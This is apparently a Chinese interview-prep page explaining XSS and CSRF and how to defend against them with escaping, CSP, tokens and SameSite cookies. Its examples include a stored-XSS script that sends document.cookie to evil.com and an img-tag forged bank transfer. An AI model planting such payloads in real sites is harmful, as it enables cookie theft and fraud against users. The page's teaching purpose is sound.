面试知识库
进阶

XSS与CSRF防御#

一句话答案#

XSS 是攻击者注入恶意脚本到页面中窃取用户数据(防御:输出转义 + CSP + httpOnly Cookie),CSRF 是攻击者诱导用户浏览器发送伪造请求(防御:CSRF Token + SameSite Cookie + Referer 校验)。

核心要点

XSS(Cross-Site Scripting)#

攻击原理:

<!-- 存储型 XSS:恶意脚本存入数据库,其他用户访问时执行 -->
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<!-- 反射型 XSS:恶意脚本在 URL 参数中,服务端直接输出 -->
https://site.com/search?q=<script>alert(1)</script>

<!-- DOM 型 XSS:前端 JS 直接操作 DOM 时注入 -->
document.innerHTML = location.hash.substring(1); // hash 含恶意脚本
html

XSS 防御:

层级措施效果
输出转义HTML 实体编码 <&lt;根本防御
CSPContent-Security-Policy 限制脚本来源深度防御
httpOnlyCookie 设 httpOnly,JS 无法读取防 Cookie 窃取
输入过滤过滤 <script> 等标签(补充)不完全可靠
// Spring Boot 输出转义
@GetMapping("/search")
public String search(@RequestParam String q) {
    return HtmlUtils.htmlEscape(q); // <script> → &lt;script&gt;
}
java

CSRF(Cross-Site Request Forgery)#

攻击原理:

<!-- 攻击者页面(evil.com)中嵌入 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

<!-- 用户访问 evil.com 时,浏览器自动携带 bank.com 的 Cookie 发送请求 -->
<!-- 银行收到的是合法 Cookie + 合法请求,无法区分是用户操作还是伪造 -->
html

CSRF 防御:

措施原理
CSRF Token表单中嵌入随机 Token,攻击者无法获取
SameSite CookieCookie 不跨站发送
Referer/Origin 校验检查请求来源域名
二次确认敏感操作要求输入验证码/密码
// Spring Security CSRF 配置
http.csrf(csrf -> csrf
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
// 前端请求时带 X-XSRF-TOKEN header
java

XSS vs CSRF 对比#

维度XSSCSRF
攻击目标窃取用户数据/执行操作伪造用户操作
攻击方式注入恶意脚本到目标站诱导用户访问攻击者页面
利用什么用户对网站的信任网站对浏览器的信任
是否需要登录不一定需要(利用用户 Cookie)
防御核心输出转义 + CSPCSRF Token + SameSite

为什么 JWT 天然防 CSRF?#

CSRF 的前提:浏览器自动发送 Cookie
JWT 存在 localStorage/Header 中:
  → 浏览器不会自动发送
  → 攻击者伪造的请求没有 Authorization Header
  → CSRF 失效

但 JWT 容易被 XSS 窃取(localStorage 可被 JS 访问)
→ 所以 JWT 更需要防 XSS(CSP + 输入校验)
plaintext
面试回答(2分钟版)

XSS 是攻击者向页面注入恶意 JavaScript,窃取用户 Cookie 或执行操作。分三种:存储型(恶意脚本存 DB 影响所有访问者)、反射型(URL 参数中的脚本被服务端直接输出)、DOM 型(前端 JS 不安全地操作 DOM)。防御核心是输出转义——所有动态内容渲染到 HTML 前做实体编码,配合 CSP 限制脚本来源和 httpOnly 保护 Cookie。CSRF 是攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性向目标站点发伪造请求。防御核心是 CSRF Token(每个表单带一个服务端生成的随机 Token,攻击者无法获取)+ SameSite Cookie 属性(Strict/Lax 限制跨站携带)。JWT 方案天然防 CSRF 因为 Token 不在 Cookie 中不会自动发送,但更容易被 XSS 窃取。两者关系:防住 XSS 间接也防了 CSRF Token 被偷。

追问与易错

追问方向:

  • “存储型 XSS 怎么防?”→ 入库前转义 + 出库渲染时转义(双重保险)+ CSP
  • “CSRF Token 存在哪?”→ 服务端 Session 或 Cookie 中(Double Submit Cookie 模式)
  • “SameSite=Lax 和 Strict 区别?”→ Lax 允许 GET 导航携带(链接跳转),Strict 完全禁止
  • “JWT 怎么防 XSS?”→ Token 存 httpOnly Cookie(而非 localStorage) + CSP + 输入校验

易错点:

  • ❌ “输入过滤就能防 XSS”——过滤可被绕过(编码变体),必须输出转义
  • ❌ “HTTPS 能防 CSRF”——CSRF 不是中间人攻击,HTTPS 无效
  • ❌ “用了框架就不用管 XSS”——React/Vue 的 dangerouslySetInnerHTML / v-html 仍有风险